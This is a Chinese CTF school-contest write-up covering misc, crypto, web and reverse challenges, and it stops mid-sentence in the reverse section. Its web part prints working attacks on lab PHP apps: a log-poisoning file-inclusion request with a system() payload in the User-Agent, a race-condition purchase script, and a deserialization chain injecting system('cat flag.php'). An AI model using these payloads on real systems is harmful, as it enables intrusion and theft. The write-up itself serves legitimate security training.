2026cuz第一次校赛wp

skyman.soul@gmail.com (M15tak3) — Sun, 24 May 2026 17:00:00 +0800

2026cuz第一次校赛wp

作者：M15tak3（skyman.soul@gmail.com）

2026cuz第一次校赛wp

本wp由She11ud0联合战队联合撰写，M15tak3主编，yunli，hp，YuuJ13r，opureye，洪声越Jeff，沁deer_不哈一同撰写。

MISC

圣经（签到）

通过010edit可以直接找到flag

flag{th1s_is_a_flag_S0_easy}

TIF

通过010edit打开找到疑似flag，尝试发现不是，后发现有hint，说是64，猜测可能有base64加密，尝试发现成功

flag{sulphone0729}

ZIP

解压发现失败，密码也招募到，猜测可能有伪加密，在010edit中打开

打开后发现确实有伪加密的情况，讲0x6的位置的09修改

在最后发现文件结尾多出一段，猜测藏东西了

用binwalk提取获得一张空白的图片，猜测可能lsb，用stegsolve看一下，找到flag

flag{sulphone0956}

WAV

给了一段音频（听歌放松一下）

发现频谱图里面藏了flag，但提交后不正确，猜测可能还有，或者不正确

将音频听完或看波形图

有摩斯，厨师一下

感觉像是一部分，拼接提交成功

flag{CTFLeeathKSKBLZDJD}

流量包审计

题目描述：内网的备份主机每天凌晨都会产生一些访问日志。管理员发现其中一台机器的 DNS 查询行为不太正常，但 HTTP 访问看起来只是普通巡检。请从附件流量包中找出被带出的信息。

题面提到“备份主机”“DNS 查询行为不太正常”，同时又说 HTTP 访问看起来像普通巡检。因此第一反应可以把重点放在 DNS 流量上：HTTP 很可能只是干扰，真正的数据通过 DNS 查询带出。

DNS 隧道题常见特征有：

查询域名里出现较长、随机感较强的 label；
多个查询使用同一个可疑域名后缀；
label 里包含 base32 / base64 / hex 这类编码字符；
数据被拆成多个分片，需要重新排序后拼接。

打开 office_backup.pcap 后，可以先看协议统计或直接在 Wireshark 里过滤 DNS：

dns

会看到一些正常查询，例如：

www.example.com
api.weather.local
cdn.hzh-lab.local
time.windows.com
printer-01.office.local

同时还会看到一批格式很规整的域名：

07-2d4bqibyb.exfil.hzh-lab.local
06-q4aiccuha.exfil.hzh-lab.local
08-ci.exfil.hzh-lab.local
04-cpqjcqcau.exfil.hzh-lab.local
...

这类域名的共同后缀是：

exfil.hzh-lab.local

其中 exfil 本身就有“数据外带”的含义，基本可以确认这就是主线。

过滤有效 DNS 查询

为了只看客户端发出的 DNS 查询，可以使用：

dns.flags.response == 0

再加上可疑域名后缀：

dns.flags.response == 0 && dns.qry.name contains "exfil.hzh-lab.local"

如果想进一步锁定 TXT 查询，可以加上 DNS 查询类型：

dns.flags.response == 0 && dns.qry.type == 16 && dns.qry.name contains "exfil.hzh-lab.local"

这里 dns.qry.type == 16 表示 TXT 记录查询。很多 DNS 隧道会借助 TXT 记录传输文本或编码后的二进制数据。

需要注意，流量里还有一个干扰域名：

00-not-a-real-piece.exfil.hzh-lab.fake

它虽然包含 exfil，但后缀是 exfil.hzh-lab.fake，不是目标后缀 exfil.hzh-lab.local，应当排除。

按前面的两位序号排序后得到：

	数据片段
00	`a4mrgcaja`
01	`uhqmli3a4`
02	`hq6ea6gab`
03	`aaaq6c4nq`
04	`cpqjcqcau`
05	`lisaqcaoc`
06	`q4aiccuha`
07	`2d4bqibyb`
08	`ci`

拼接数据片段：

a4mrgcajauhqmli3a4hq6ea6gabaaaq6c4nqcpqjcqcaulisaqcaocq4aiccuha2d4bqibybci

这串长度是 74。base32 解码要求长度是 8 的倍数，因此需要补 =：

74 % 8 = 2

所以补 6 个 =：

a4mrgcajauhqmli3a4hq6ea6gabaaaq6c4nqcpqjcqcaulisaqcaocq4aiccuha2d4bqibybci======

base32 解码后得到的还不是明文。

想试试往flag靠，因为正常flag格式为flag{}，开头是确定的，可以拿这个尝试，试试异或

07 xor 66 = 61 -> a
19 xor 6c = 75 -> u
13 xor 61 = 72 -> r
08 xor 67 = 6f -> o
09 xor 7b = 72 -> r

得到：

auror

这已经非常像一个英文单词/短 key 的开头了。尝试以答案提交不正确，结合题目，猜测会不会答案中有dns类似的题目中的解，

尝试d，可以推出：

05 xor 64 = 61 -> a

所以 key 是：

aurora

异或后flag正确

flag{dns_tunnel_packets_have_sequence_numbers}

CSV Filter Oracle

这题的关键不是手工看表，而是使用真正的 CSV 解析器。附件里有带逗号、双引号、换行的字段，按行切分会把记录数弄错；Excel 也容易改掉带前导零的字段。

筛选时按题面逐条实现即可：

对 site、channel、verdict 做首尾空白清理和大小写归一。
把 severity、bytes_out 严格解析为整数，bytes_out 不能接受 2,048 这类带分隔符的写法。
把 temp_c 解析为 Decimal，并规范到一位小数。
检查 sample_id 的格式和数字和条件。
重新计算 proof，只取 SHA-256 十六进制摘要前 10 位。

import csv
import hashlib
from decimal import Decimal, InvalidOperation
from pathlib import Path


ROOT = Path(__file__).resolve().parents[1]
SRC = ROOT / "dist" / "raw_events.csv"
OUT = ROOT / "solve" / "answer.csv"


def clean(value):
    return (value or "").strip(" \t\r\n")


def lower(value):
    return clean(value).casefold()


def parse_int(value):
    text = clean(value)
    if not text or not text.isdecimal():
        raise ValueError
    return int(text)


def parse_temp(value):
    return Decimal(clean(value)).quantize(Decimal("0.1"))


def proof(row, bytes_int, temp):
    payload = f"{clean(row['record_id'])}|{clean(row['sample_id'])}|{bytes_int}|{temp}"
    return hashlib.sha256(payload.encode()).hexdigest()[:10]


def good(row):
    try:
        if lower(row["site"]) != "sector-7":
            return False
        if lower(row["channel"]) != "aurora":
            return False
        if lower(row["verdict"]) != "pass":
            return False
        if parse_int(row["severity"]) < 4:
            return False
        bytes_int = parse_int(row["bytes_out"])
        if not 1024 <= bytes_int <= 4096:
            return False
        temp = parse_temp(row["temp_c"])
        if not Decimal("-3.0") <= temp <= Decimal("1.0"):
            return False
        sample = clean(row["sample_id"])
        if len(sample) != 9 or not sample.startswith("CSV-") or not sample[4:].isdigit():
            return False
        if sum(int(ch) for ch in sample[4:]) % 7 != 3:
            return False
        return lower(row["proof"]) == proof(row, bytes_int, temp)
    except (KeyError, ValueError, InvalidOperation):
        return False


def main():
    with SRC.open("r", encoding="utf-8-sig", newline="") as f:
        reader = csv.DictReader(f)
        rows = [row for row in reader if good(row)]
        headers = reader.fieldnames

    rows.sort(key=lambda row: clean(row["record_id"]))
    with OUT.open("w", encoding="utf-8", newline="") as f:
        writer = csv.DictWriter(f, fieldnames=headers)
        writer.writeheader()
        writer.writerows(rows)
    print(f"wrote {OUT}")
    print(f"rows: {len(rows)}")


if __name__ == "__main__":
    main()

Crypto

最没用的建议

拿到题目，我们看到txt中有一段密文

+uH6grA85v22A5pmtue1Y7b/a490C4pKm5BA+Jf5LL+Z7B2g/GaO6Q==

还有一堆问xxxx，我们看到xxxx都是aabb的形式，其中仔细查看发现缺少了oopp

查看py文件

from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
import base64

KEY = b"********"
FLAG = b"CUZCTF{*************************}"
IV = b"\x00" * DES.block_size

def encrypt(plaintext, key):
    cipher = DES.new(key, DES.MODE_CBC, iv=IV)
    padded = pad(plaintext, DES.block_size)
    return cipher.encrypt(padded)

def main():
    ct = encrypt(FLAG, KEY)
    print(base64.b64encode(ct).decode())

if __name__ == "__main__":
    main()

这是个明显的des加密，其中key为8个字母的，对照前文，我们猜测oopp可能为key，那么由于它是4位的，且题目提示问了一遍没有结果所以问了两遍，所以double一下变成ooppoopp,那这个题目就很简单了

用cyberchef或脚本均可，这里展示脚本

from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad
import base64

KEY = b"ooppoopp"
IV = b"\x00" * 8

def decrypt(ciphertext, key):
    cipher = DES.new(key, DES.MODE_CBC, iv=IV)
    return unpad(cipher.decrypt(ciphertext), DES.block_size)

def main():
    ct = base64.b64decode("+uH6grA85v22A5pmtue1Y7b/a490C4pKm5BA+Jf5LL+Z7B2g/GaO6Q==")
    print(decrypt(ct, KEY).decode())

if __name__ == "__main__":
    main()

probabilistic_sponge

题目分析

题面给的东西很少，核心就三份：

challenge.py
README.md
论文2024-1136.pdf

README.md只告诉我们最基本的交互方式：

digest 
trace  
submit

输入是48-bit seed，本地可以算digest，远程还额外提供trace和submit。光看这个接口，很容易第一眼把它当成一道碰撞题，但真正把challenge.py读进去以后，会发现这题并不是随便找两个digest一样的seed。

先读公开代码

代码开头一组参数已经把题目的尺度说明白了：

LANE_BITS = 8
STATE_LANES = 25
RATE_BYTES = 15
BLOCK_BYTES = 15
DIGEST_BYTES = 12
SEED_BITS = 48
LABEL_BITS = 15
CORE_BITS = 28
ROUNDS = 5

这不是标准 SHA-3，是一份缩小到Keccak-f[200]规模的变种：

状态宽度200bit
rate 120bit
输出96 bit
输入自由度48 bit
轮数只有5

继续往下看keccak_f_200_5()，theta、rho/pi、chi、iota 这些典型步骤都还在，说明这题不是一个胡乱拼起来的toy hash，而是明显保留了Keccak内部结构，只是把参数压小了。

这时论文的作用也出来了。题面不是随便塞一篇论文，而是直接把你往SHA-3的collision / internal differential方向引。

关键点一：输入不是任意消息

最值得盯的是lift_seed()：

def lift_seed(seed: int) -> bytes:
    block = bytearray(BASE)
    for i in range(SEED_BITS):
        if (seed >> i) & 1:
            vec = BASIS[i]
            for j in range(BLOCK_BYTES):
                block[j] ^= vec[j]
    return bytes(block)

它说明第二个消息块m1不是直接由seed编码出来，而是从一个固定BASE出发，再按位异或若干个BASIS[i]。换句话说，选手控制的不是全部15-byte消息块，而是一个48维仿射空间里的点：

BASE xor 若干个 BASIS[i]

这会直接改变解题思路。既然输入本身带结构，那就不应该把它当成普通黑盒哈希去做生日碰撞，而应该想办法利用这个仿射空间。

关键点二：digest 不是简单截断

题目消息只有两块：

第一块m0固定
第二块m1由seed经lift_seed()生成

然后第二次置换时，代码特地保留了一份倒数第二轮的状态快照：

if keep_round4 and rnd == ROUNDS - 2:
    round4_state = state[:]

后面真正输出digest时，也不是把最终状态随手截一段出来，而是把两部分信息混在了一起：

final_state, round4_state = _absorb_two_blocks(M0, m1)

round4_rate = _state_to_bytes(round4_state)[:RATE_BYTES]
gate = (...) & ((1 << LABEL_BITS) - 1)

final_rate = _state_to_bytes(final_state)[:RATE_BYTES]
core = (...) & ((1 << CORE_BITS) - 1)

return bytes(x ^ y for x, y in zip(_stream_pad(gate), _fanout(core)))

所以从代码直接能看出来两件事：

这个digest混入了中间轮信息。
出题人明显不希望你把它当成一个随机96-bit黑盒输出。

题目为什么不像普通碰撞题？

如果只是一个普通 hash 碰撞题，最自然的想法就是围着输出长度打生日攻击。但这里有几个地方都在告诉我们，题目重点不在“瞎撞 digest”：

输入不是任意消息，而是仿射消息族
轮数只有5
输出和中间状态耦合
题面还额外给了一篇讲SHA-3 collision / internal differential的论文

论文里的关键词包括：

internal differentials
collision subsets
probabilistic linearization
TIDA

这几个词和公开代码正好是对得上的。输入空间是结构化的，轮数又被压低，输出还带了中间状态特征，这非常像在给internal differential一类方法创造落点。

所以这题更自然的理解应该是：

先在公开代码里找内部结构
再把论文里的攻击框架当提示
最后借助远程接口去做筛选和验证

trace 接口意味着什么

远程除了digest之外，还给了：

trace

这玩意显然不是装饰。challenge.py本地根本没有trace的实现，说明远程额外暴露了某种内部观测值。题目到这里的味道就很明显了：本地代码负责告诉你结构，远程接口负责给你一些看不见但能测出来的信号。

因此一个很自然的做法是：

先在本地把seed -> m1 -> state -> digest这条链吃透。
再把远程trace当成额外标签，去观察不同seed在不同模式下的表现。
通过大量样本比较digest和trace的关联，筛出更有希望属于同一类的候选。

这条思路并不花哨，但和题目给出的材料是完全一致的。

submit 在整条链里的位置

README.md还告诉我们，最后要：

submit

并且proof 依赖当前连接的nonce，不能复用旧连接的数据。

这说明整道题不是“离线把答案算完再一次性提交”，而是：

先在本地和远程交互里找到候选对
最后在真实会话里结合当前nonce完成提交

整体解题路线

把这些信息串起来，这题比较顺的做法应该就是：

从challenge.py看出这是一个缩减版Keccak结构，而不是普通toy hash。
注意到输入是仿射消息族，不能把它当任意消息空间。
注意到digest混入了中间状态，不是最终状态平凡截断。
结合论文，把注意力放到internal differential/collision subset这类结构性思路上。
利用远程trace接口做实验，把候选seed分层、分组、筛选。
找到满足要求的种子对后，在当前连接下结合nonce完成submit。

总结

challenge.py告诉你输入空间和输出结构，论文告诉你该往哪类攻击上想，远程trace再给你做实验所需的额外信号。所以真正的解题思路不是去撞 digest，而是先看懂这套缩减版Keccak结构，再利用远程观测把搜索压到更有希望的区域，最后完成带nonce的提交。

Missing Bits

题目给了：

n = 75051007676832812483317203404474485306114138306742530224980953782626664777979452204888667172682328964314118536271193239423686821076389484685446199359441031538994712239908920299296161228777767177239574726904478459672408936591601395363708591958418987729755420954682244422982558259554174460943893382288853672997
e = 65537
c = 1212469247770171140763079506007000666283938363655799107175226503650373119605128791104546247174648419442996494649964860326985429674192176126366156373415907492412614334258315315719614923698938822769147218680282563469155103177258195523357150412791623061377740626047012579990618823709130354784285438313397271161
p_high = 11021036726340334590863953777218214765334603321634013828428218125924311693538290733467637406368191711023166888971119943868188779541233239917228323313287168

一眼看过去就是RSA，然后额外给了一个 p_high，题名还是Missing Bits，基本就是在说p 的高位给你了，低位没给全，让你自己补。那就设：

p = p_high + x

其中x是缺失的低位部分。这题里缺的是 222 bit，所以有：

0 <= x < 2^222

又因为p | n，所以

p_high + x ≡ 0 mod p

这是很标准的已知素因子高位、低位缺失的小根问题，直接上Coppersmith。Sage脚本如下：

from Crypto.Util.number import long_to_bytes

n = 75051007676832812483317203404474485306114138306742530224980953782626664777979452204888667172682328964314118536271193239423686821076389484685446199359441031538994712239908920299296161228777767177239574726904478459672408936591601395363708591958418987729755420954682244422982558259554174460943893382288853672997
e = 65537
c = 1212469247770171140763079506007000666283938363655799107175226503650373119605128791104546247174648419442996494649964860326985429674192176126366156373415907492412614334258315315719614923698938822769147218680282563469155103177258195523357150412791623061377740626047012579990618823709130354784285438313397271161
p_high = 11021036726340334590863953777218214765334603321634013828428218125924311693538290733467637406368191711023166888971119943868188779541233239917228323313287168

unknown_bits = 222
X = 2^unknown_bits

PR.<x> = PolynomialRing(Zmod(n))
f = p_high + x
roots = f.small_roots(X=X, beta=0.5)

x0 = int(roots[0])
p = int(p_high + x0)
q = n // p

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)

print(p)
print(q)
print(long_to_bytes(m).decode())

跑一下就能把 x找出来，进而还原p，然后正常分解n 解密。最后得到：

flag{C0pp3rsm1th_Att4ck_1s_S0_P0w3rfu1_7a2b}

这题本质上没什么弯子，就是经典的high bits of p+Coppersmith。看到p_high基本就该往这个方向想了。

Twice Safe？

由题目要知道密文为WbcuicysfWenbyjEiHsp

py加密如下

from string import ascii_letters

def caesar_encrypt(msg, shift):
    table = ascii_letters
    res = ""

    for ch in msg:
        if ch in table:
            idx = table.index(ch)
            res += table[(idx + shift) % len(table)]
        else:
            res += ch

    return res


def vigenere_encrypt(msg, key):
    res = ""
    ki = 0

    for ch in msg:
        if ch.isalpha():

            if ch.islower():
                base = ord('a')
            else:
                base = ord('A')

            k = ord(key[ki % len(key)].lower()) - ord('a')

            res += chr((ord(ch) - base + k) % 26 + base)

            ki += 1
        else:
            res += ch

    return res


plaintext = "????????????????????"

tmp = caesar_encrypt(plaintext, ?)

cipher = vigenere_encrypt(tmp, "MiKu")

print(cipher)

由py加密的函数命名可知涉及凯撒和维吉尼亚

那解密脚本很好写了

from string import ascii_letters


def vigenere_decrypt(msg, key):
    res = ""
    ki = 0

    for ch in msg:

        if ch.isalpha():

            if ch.islower():
                base = ord('a')
            else:
                base = ord('A')

            k = ord(key[ki % len(key)].lower()) - ord('a')

            res += chr((ord(ch) - base - k) % 26 + base)

            ki += 1

        else:
            res += ch

    return res


cipher = "WbsumyucfSarbujKmVmp"

# first reverse vigenere
tmp = vigenere_decrypt(cipher, "MiKu")

print("[+] after vigenere:", tmp)

# reverse caesar
table = ascii_letters

for shift in range(52):

    res = ""

    for ch in tmp:

        if ch in table:
            idx = table.index(ch)
            res += table[(idx - shift) % len(table)]
        else:
            res += ch

    print(shift, res)

小zxz最喜欢xor了

打开文件，我们看到3个txt和xor加密的py文件

先看加密的py文件

import os
import random  
FLAG_LEN = len(flag)

master_seed = os.urandom(32)
noise_seed = int.from_bytes(master_seed[:4], 'little')
with open("seed.bin", "wb") as f:
    f.write(master_seed)

class Noise:
    def __init__(self, seed):
        self.s = seed & 0xffffffff
    def step(self):
        self.s = (self.s * 1103515245 + 12345) & 0xffffffff
        x = self.s
        x ^= ((x << 7) | (x >> 25)) & 0xffffffff
        x ^= (x >> 11)
        self.s = x & 0xffffffff
        return (((x >> 16) & 0xff) ^ ((x >> 8) & 0xff)) & 0xff

rng = Noise(noise_seed)
cipher = []
feedback = 0x73
remaining = list(range(FLAG_LEN))

for _ in range(FLAG_LEN):
    r = random.Random(feedback)
    idx = r.choice(remaining)
    remaining.remove(idx)
    b = flag[idx]
    k = rng.step()
    x = b ^ k
    x ^= feedback
    x = (x + ((idx * 13) ^ 0x57)) & 0xff
    feedback = x
    cipher.append(x)

while len(cipher) < 16:
    cipher.append(random.randint(0, 255))

N = 4
matrix = [cipher[i:i+N] for i in range(0, 16, N)]

for r in range(N):
    shift = r
    row = matrix[r]
    matrix[r] = row[shift:] + row[:shift]

final_cipher = []
for i, row in enumerate(matrix):
    if i % 2 == 0:
        final_cipher.extend(row)
    else:
        final_cipher.extend(row[::-1])
part1 = final_cipher[::2]
part2 = final_cipher[1::2]
with open("cache.dat", "wb") as f:
    f.write(bytes(part1))
with open("audio.idx", "wb") as f:
    f.write(bytes(part2))
print("[+] 加密完成，生成文件：seed.bin, cache.dat, audio.idx")

它的核心流程是：

生成随机种子：

master_seed = os.urandom(32) noise_seed = int.from_bytes(master_seed[:4], 'little')

其中前 4 字节作为伪随机噪声生成器 Noise 的种子，并把完整种子保存到 seed.bin。
自定义 Noise 类生成异或密钥流：

k = rng.step()

每次 step() 产生 1 个字节，用来和 flag 字节异或。
加密时不是按 flag 原顺序处理，而是用 feedback 决定下一个取哪个位置：

r = random.Random(feedback) idx = r.choice(remaining)

也就是说，每一轮根据上一次密文值 feedback，从还没处理的位置里随机选一个 flag 下标。
对选中的 flag 字节做变换：

x = b ^ k x ^= feedback x = (x + ((idx * 13) ^ 0x57)) & 0xff feedback = x

实际加密公式可以写成：

c = ((flag[idx] ^ key ^ feedback) + ((idx * 13) ^ 0x57)) mod 256
如果密文长度不足 16 字节，就随机补齐到 16 字节：

while len(cipher) < 16: cipher.append(random.randint(0, 255))
把 16 字节密文排成 4x4 矩阵，做行移位：

matrix[r] = row[shift:] + row[:shift]
再按蛇形顺序展开：
- 偶数行正序
- 奇数行反序
最后把最终密文拆成奇偶两部分：

part1 = final_cipher[::2] part2 = final_cipher[1::2]

分别写入：
- cache.dat
- audio.idx

xor.py 的输出文件是：

seed.bin     保存密钥种子 
cache.dat    保存最终密文的偶数位 
audio.idx    保存最终密文的奇数位

这样我们就可以编写解密脚本：

读取 seed.bin，恢复 noise_seed：

master_seed = f.read(32) noise_seed = int.from_bytes(master_seed[:4], 'little')
读取 cache.dat 和 audio.idx：

part1 = list(f.read()) part2 = list(f.read())
把两个文件交错合并，还原 final_cipher：

for a, b in zip(part1, part2): final_cipher.append(a) final_cipher.append(b)
逆转蛇形展开：

rows.append(final_cipher[0:4]) rows.append(final_cipher[4:8][::-1]) rows.append(final_cipher[8:12]) rows.append(final_cipher[12:16][::-1])
逆转每行的循环左移：

rows[r] = row[-shift:] + row[:-shift]
得到原始的 cipher，也就是 xor.py 加密阶段生成的密文字节。
因为原 flag 长度未知，而且加密脚本会补齐到 16 字节，所以 EXP 尝试长度 1 到 16：

for L in range(1, 17):
对每个可能长度，重新模拟加密时的下标选择顺序：

r = random.Random(feedback) idx = r.choice(remaining)
根据加密公式反推原字节：

加密时：

c = ((b ^ k ^ feedback) + offset) mod 256

解密时：

temp = (c - offset) & 0xff b = temp ^ k ^ feedback
把解出的字节放回原始位置：

plain[idx] = b

最后用 flag 格式判断是否成功：

plain_bytes.startswith(b'flag{') plain_bytes.endswith(b'}')

完整脚本如下：

import os
import random

with open("seed.bin", "rb") as f:
    master_seed = f.read(32)
noise_seed = int.from_bytes(master_seed[:4], 'little')

class Noise:
    def __init__(self, seed):
        self.s = seed & 0xffffffff
    def step(self):
        self.s = (self.s * 1103515245 + 12345) & 0xffffffff
        x = self.s
        x ^= ((x << 7) | (x >> 25)) & 0xffffffff
        x ^= (x >> 11)
        self.s = x & 0xffffffff
        return (((x >> 16) & 0xff) ^ ((x >> 8) & 0xff)) & 0xff

with open("cache.dat", "rb") as f:
    part1 = list(f.read())
with open("audio.idx", "rb") as f:
    part2 = list(f.read())

final_cipher = []
for a, b in zip(part1, part2):
    final_cipher.append(a)
    final_cipher.append(b)

rows = []
rows.append(final_cipher[0:4])                
rows.append(final_cipher[4:8][::-1])           
rows.append(final_cipher[8:12])                
rows.append(final_cipher[12:16][::-1])        

N = 4
for r in range(N):
    shift = r
    if shift != 0:
        row = rows[r]
        rows[r] = row[-shift:] + row[:-shift]

padded_cipher = []
for row in rows:
    padded_cipher.extend(row) 


found_flag = None
for L in range(1, 17):
    cipher = padded_cipher[:L]
    rng = Noise(noise_seed)
    remaining = list(range(L))
    feedback = 0x73
    plain = [0] * L

    try:
        for i in range(L):
            r = random.Random(feedback)
            idx = r.choice(remaining)
            remaining.remove(idx)

            c = cipher[i]
            offset = ((idx * 13) ^ 0x57) & 0xff
            temp = (c - offset) & 0xff
            k = rng.step()
            b = temp ^ k ^ feedback
            plain[idx] = b
            feedback = c

        plain_bytes = bytes(plain)
        if plain_bytes.startswith(b'flag{') and plain_bytes.endswith(b'}'):
            if all(32 <= x < 127 for x in plain_bytes):
                found_flag = plain_bytes
                break
    except Exception:
        continue

if found_flag:
    print(f"[+] 成功解密，flag 为：{found_flag.decode()}")
else:
    print("[-] 未找到 flag，请检查 seed.bin, cache.dat, audio.idx 是否正确")

Web

file_include

先来读一下源码

php
if (isset($_GET['file'])) {
    $file = $_GET['file'];

    $blacklist = ['php', 'data', 'zip', 'phar', 'file', 'http', 'https', 'ftp', 'gopher', 'dict', 'glob', 'expect'];
    do {
        $old_file = $file;
        foreach ($blacklist as $keyword) {
            $file = str_ireplace($keyword, '???', $file);
        }
    } while ($old_file !== $file);

    include($file);
} else {
    highlight_file(__FILE__);
}
?>

可以明显看到一个利用点include()，但过滤了很多字段，这些字段被替换为???，所以很多伪协议都无法利用。

但由于是include()，读取到符合php代码的格式会默认使用php解析器进行解析，即使是txt文件也会作为代码执行相应内容，所以这个时候我们可以考虑日志包含等姿势。

抓包可以发现服务器使用的是Apache，Apache默认的日志文件路径为/var/log/apache2/access.log，了解日志文件的内容的话我们就应该知道日志文件会记录哪些内容，我们在User-Agent头写入恶意php代码，就可以执行相应命令。没有对头内容进行审核和过滤，所以直接打通。

GET /?file=/var/log/apache2/access.log HTTP/1.1
Host: 127.0.0.1:33336
sec-ch-ua: "Chromium";v="131", "Not_A Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: <?php system('ls');>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

后面就是命令注入的事了，读取一下当前文件目录就可以存放flag的f1444g.php就在当下目录，后面直接读取文件就可以了。

thinkxxe

进入题目就会发现是一个留言板界面，随便输入点内容可以发现我们输入的内容会呈现在前端。我们的输入可以影响前端渲染最容易想到的就是xxe，模版注入，xss等，但这里我们可以看到不少提示，输入框中的输入模版明显是xml语句，这个时候其实已经蛮明显的了，方向就是xxe。

上面还有一个提示上一个人留下的是name，可以大胆猜测我们可以利用的标签就是name，测试后我们就可以确认了。



]>

    &xxe;

后面就可以利用伪协议加xxe的组合技来读取我们想要的文件。至于具体要读取哪些文件，我们可以先看看有没有什么其他页面。可以用dirsearch扫描一下有没有其他接口，发现有flag.php，但直接进入可以发现我们看不到flag内容，是因为我们只能读取php输出的内容，无法直接读取到源码内的内容，此时可以想到php:filter读取文件内容



]>

    &xxe;

shopping

进入题目是一个注册登录界面，我们注册一个账号登录后发现初始存在1000资金，商品中存在flag商品，但价格比较高，我们的钱不够，但发现有一个商品可以买100赠200，可惜只可以买一次。但可以观察发现购买时我们需要加载的时间比较长，大概率我们购买到更新的整个流程并非原子性操作，存在可竞争的窗口。我们只要在数据库覆盖代金券的有效性更新前，多购买几次就可以。

可以用burp发包，也可以用脚本直接做，脚本如下：

import requests, threading, re

BASE = 'http://127.0.0.1:33334'
USER = 'hackerr'
PASS = '123'
NUM_THREADS = 300

# 先注册一个账号
def get_logged_session():
    sess = requests.Session()
    sess.post(f'{BASE}/index.php', data={'login': '', 'username': USER, 'password': PASS})
    return sess

def buy(idx):
    # 每个线程独立 Session，完全避免互相干扰
    s = get_logged_session()
    r = s.post(f'{BASE}/buy.php', data={'product_id': '1'}, allow_redirects=False)
    print(f"[{idx}] {r.status_code} -> {r.headers.get('Location')}")

threads = [threading.Thread(target=buy, args=(i,)) for i in range(NUM_THREADS)]
for t in threads: t.start()
for t in threads: t.join()

# 最后用一个 Session 查看余额
s_final = get_logged_session()
r = s_final.get(f'{BASE}/dashboard.php')
balance = re.search(r'余额：(\d+)', r.text)
print("最终余额:", balance.group(1) if balance else "unknown")

serlize

源码太长就不贴了，来看一下关键部分

class nF9rV6sL
public function zQ4mN8rL($cmd) {
        if (is_string($cmd)) {
            $f1 = create_function('$a',$cmd);
        }
        return false;
    }

class pQ5mW8nL    
public function wT8mF4qN($command, $output) {
        if (is_string($command) && strlen($command) > 0) {
            return $this->mG6rL9fK->zQ4mN8rL($command);
        }
        return false;
    }

class bT4yH7uI   
public function fM6nQ3rL($code, $data) {
        return $this->kF9mR3qL->wT8mF4qN($code, $data);
    }

class xF9mQ2vL
public function mQ8fL3nR($param1, $param2) {
        if ($this->aY5nU0gJ && $this->vK1rE8pZ) {
            return $this->hL4nQ9mP->fM6nQ3rL($this->aY5nU0gJ, $this->vK1rE8pZ);
        }
        return false;
    }

class kY6rM3eL   
public function rN7mK4qL() {
        $this->wH4mK9pL->mQ8fL3nR($this->sT6vR3qN, $this->jL8fY2mK);
        return 'kY6rM3eL_method';
    }

class wJ4qV3jM 
public function __get($name) {
        if ($name === 'zX3aB7wQ' && $this->rT6mQ3xK) {
            return $this->rT6mQ3xK->rN7mK4qL();
        }
        return null;
    }

class wJ4qV3jM    
public function __toString() {
        return $this->pL8vN4mR->zX3aB7wQ;
    }

class oC4tF3aU    
public function __destruct() {
        $this->hD6yV6eY->aY5nU0gJ = $this->aY5nU0gJ;
        $this->hD6yV6eY->vK1rE8pZ = $this->vK1rE8pZ;
        echo $this->hD6yV6eY;
    }

所以最后的链：

$payload = new oC4tF3aU();
$payload->hD6yV6eY = new wJ4qV3jM();
$payload->hD6yV6eY->pL8vN4mR = new wJ4qV3jM();
$payload->hD6yV6eY->pL8vN4mR->rT6mQ3xK = new kY6rM3eL();
$payload->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL = new xF9mQ2vL();
$payload->hD6yV6eY->pL8vN4mR->rT6mQ3xK->sT6vR3qN="test1";
$payload->hD6yV6eY->pL8vN4mR->rT6mQ3xK->jL8fY2mK="test2";
$payload->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL->hL4nQ9mP = new bT4yH7uI();
$payload->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL->aY5nU0gJ = "return 'mmkjhhsd';}system('cat flag.php');/*";
$payload->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL->vK1rE8pZ = "test4";
$payload->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL->hL4nQ9mP->kF9mR3qL = new pQ5mW8nL();
$payload->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL->hL4nQ9mP->kF9mR3qL->mG6rL9fK = new nF9rV6sL();
echo base64_encode(serialize($payload));

Resever

go go go

运行观察

运行程序后会看到提示：

tiny go vault >

随便输入一段内容，例如：

test

程序输出：

locked

输入正确 flag 时输出：

unlocked

因此可以判断程序逻辑大致是：

读取用户输入。
调用某个校验函数。
校验成功输出 unlocked，否则输出 locked。

用 IDA 分析 Go 二进制时，反编译结果会混入很多 Go runtime、切片分配、栈检查相关逻辑，所以伪 C 通常比较乱。分析时不需要逐行理解所有变量，只要抓住长度判断、字符串常量、异或、循环、函数调用和最终比较即可。

例如外层校验函数可能会反编译成类似下面的形式：

if ( n10 != 22 )
  return 0;

这里 n10 是输入字符串长度，所以可以直接得到：

输入总长度 = 22

继续看前缀相关逻辑：

v15 = off_14018CAD0;  // "W]PVJ"
for ( i = 0; (__int64)i < n0x20; ++i )
{
  a7 = (unsigned __int8)v15[i] ^ 0x31;
  *((_BYTE *)v13 + i) = a7;
}

off_14018CAD0 指向字符串 "W]PVJ"，循环里每个字节都异或 0x31。因此可以写脚本还原：

print(bytes(ord(c) ^ 0x31 for c in "W]PVJ"))

输出：

b'flag{'

随后会看到类似的比较逻辑：

if ( i_1 == 5 )
{
  n5 = 0;
  LODWORD(v15) = 0;
  while ( n5 < 5 )
  {
    LODWORD(n0x20) = a1[n5];
    a7 = n0x20 ^ *((unsigned __int8 *)v13 + n5);
    LODWORD(v15) = a7 | (unsigned int)v15;
    ++n5;
  }
  v19 = (_BYTE)v15 == 0;
}

这段看起来复杂，本质是逐字节异或比较：

diff = 0;
for i in range(5):
    diff |= input[i] ^ prefix[i];
return diff == 0;

因此它是在检查输入前 5 字节是否等于 flag{。

后缀判断更直接：

